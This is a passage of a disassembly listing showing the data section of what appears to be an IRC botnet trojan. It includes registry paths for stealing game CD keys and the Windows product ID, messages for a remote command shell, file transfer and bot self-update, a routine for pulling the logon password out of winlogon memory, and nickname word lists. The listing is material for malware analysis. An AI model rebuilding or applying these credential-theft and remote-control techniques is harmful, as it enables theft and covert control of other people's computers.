aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004368F0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo
		align 4
asc_437AEC:				; DATA XREF: sub_415A30+E9o
					; sub_415A30+F4o
		unicode	0, <=>,0
dword_437AF0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A30+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B6C	db  2Dh	; -		; DATA XREF: ___:00415F18o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_437B90	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Do
					; ___:00416313o
		dd 726F72h
unk_437BA8	db  2Dh	; -		; DATA XREF: ___:00416115o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437BD4	db  2Dh	; -		; DATA XREF: ___:0041601Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437BF8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE6o
		dd 74756Fh
dword_437C10	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F85o
		dd 169h
unk_437C28	db  2Dh	; -		; DATA XREF: ___:00415F42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437C48	db  2Dh	; -		; DATA XREF: ___:00415E9Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C6C	db  2Dh	; -		; DATA XREF: ___:00415E5Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_437C90	db  2Dh	; -		; DATA XREF: ___:0041638Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437CBC	db  2Dh	; -		; DATA XREF: ___:00416288o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CDC	db  2Dh	; -		; DATA XREF: ___:00416268o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416254o
unk_437D0C	db  2Dh	; -		; DATA XREF: ___:00416240o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D3C	db  2Dh	; -		; DATA XREF: ___:0041688Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D68	db  2Dh	; -		; DATA XREF: ___:0041687Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D9C	db  2Dh	; -		; DATA XREF: ___:004167C3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437DE0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416752o
		dd 25206465h, 73h
unk_437DFC	db  2Dh	; -		; DATA XREF: ___:004166DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437E34	db  2Dh	; -		; DATA XREF: ___:0041665Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E5C	db  2Dh	; -		; DATA XREF: ___:004165D2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437E88	db  2Dh	; -		; DATA XREF: ___:0041658Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_437EB0	db  2Dh	; -		; DATA XREF: ___:0041657Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437ED8	db  2Dh	; -		; DATA XREF: ___:00416471o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A2:loc_4169E5o
					; sub_418EF7+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A2:loc_4169D9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A2:loc_4169CDo
		align 4
off_437F28	dd offset word_4D4152	; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C	dw 3Fh			; DATA XREF: sub_4169A2+1Fo
					; sub_41AA43:loc_41AB45r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A33:loc_416B11o
					; sub_416B57+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A33+6Co
		align 10h
unk_437F40	db  2Dh	; -		; DATA XREF: sub_416B57+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F7C	db  2Dh	; -		; DATA XREF: sub_416B57+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_437FB8	dd offset byte_5C3A41	; DATA XREF: sub_416C29:loc_416C6Eo
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_438028	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417094o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43805C	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417067o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438088	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417060o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_4380C0	db  2Dh	; -		; DATA XREF: sub_416F1B+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43811C	dd offset byte_530055	; DATA XREF: sub_416F1B+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset loc_4E0047+2
		dd 0
off_438134	dd offset byte_530055	; DATA XREF: sub_416F1B+CEo
		dd offset byte_520045
		dd offset loc_41004E
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1B+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
					; sub_416F1B+161o ...
		align 4
unk_4381F8	db  2Dh	; -		; DATA XREF: sub_416F1B+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170ED+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170ED+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170ED+AFo
		align 4
dword_438244	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417553+70o
					; sub_4175EA+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438294	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175EA+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382E8	dd offset aQ		; DATA XREF: sub_417ADE+5Cr
					; "q"
		dd offset dword_438E90
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E8C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset dword_438E7C
		dd offset dword_438E78
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438E74
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E70
		dd offset dword_438E6C
		dd offset dword_438E68
		dd offset dword_438E64
		dd offset dword_438E60
		dd offset word_438E5C
		dd offset dword_438E58
		dd offset aI_0		; "I"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset aA_0		; "A"
		dd offset dword_438E4C
		dd offset dword_438E48
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset dword_438E3C
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset dword_438E24
		dd offset dword_438E20
		dd offset dword_438E1C
		dd offset word_438E18
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438BB0
		dd offset off_438BAC
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438A18
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385E8	dd offset aSex		; DATA XREF: sub_417ADE+41r
					; sub_417ADE+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E74
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aI		; "i"
		dd offset dword_42BBF8
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E90
		dd offset dword_438E78
		dd offset dword_438E8C
		dd offset dword_438E7C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E7C
		dd offset dword_438E84
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438838
		dd offset aBbl		; "|bbl"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset a___0		; "_|_"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E44
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438E74
		dd offset dword_43D808
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E28
		dd offset dword_43D808
		dd offset off_4387F8
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4387B8
		dd offset dword_4387B4
		dd offset dword_4387AC
		dd offset dword_4387A0
		dd offset dword_438798
		dd offset dword_438790
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
dword_438780	dd 7536h		; DATA XREF: ___:0043877Co
dword_438784	dd 7535h		; DATA XREF: ___:00438778o
dword_438788	dd 7C75347Ch, 0		; DATA XREF: ___:00438774o
dword_438790	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438770o
dword_438798	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043876Co
dword_4387A0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o
dword_4387AC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438764o
dword_4387B4	dd 6C6F6Ch		; DATA XREF: ___:00438760o
dword_4387B8	dd 746F74h		; DATA XREF: ___:0043875Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438758o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438754o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438750o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043874Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438748o
aShit		db 'shit',0             ; DATA XREF: ___:00438744o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438740o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043873Co
		align 4
off_4387F8	dd offset word_594F42	; DATA XREF: ___:00438738o
aFree		db 'Free',0             ; DATA XREF: ___:00438724o
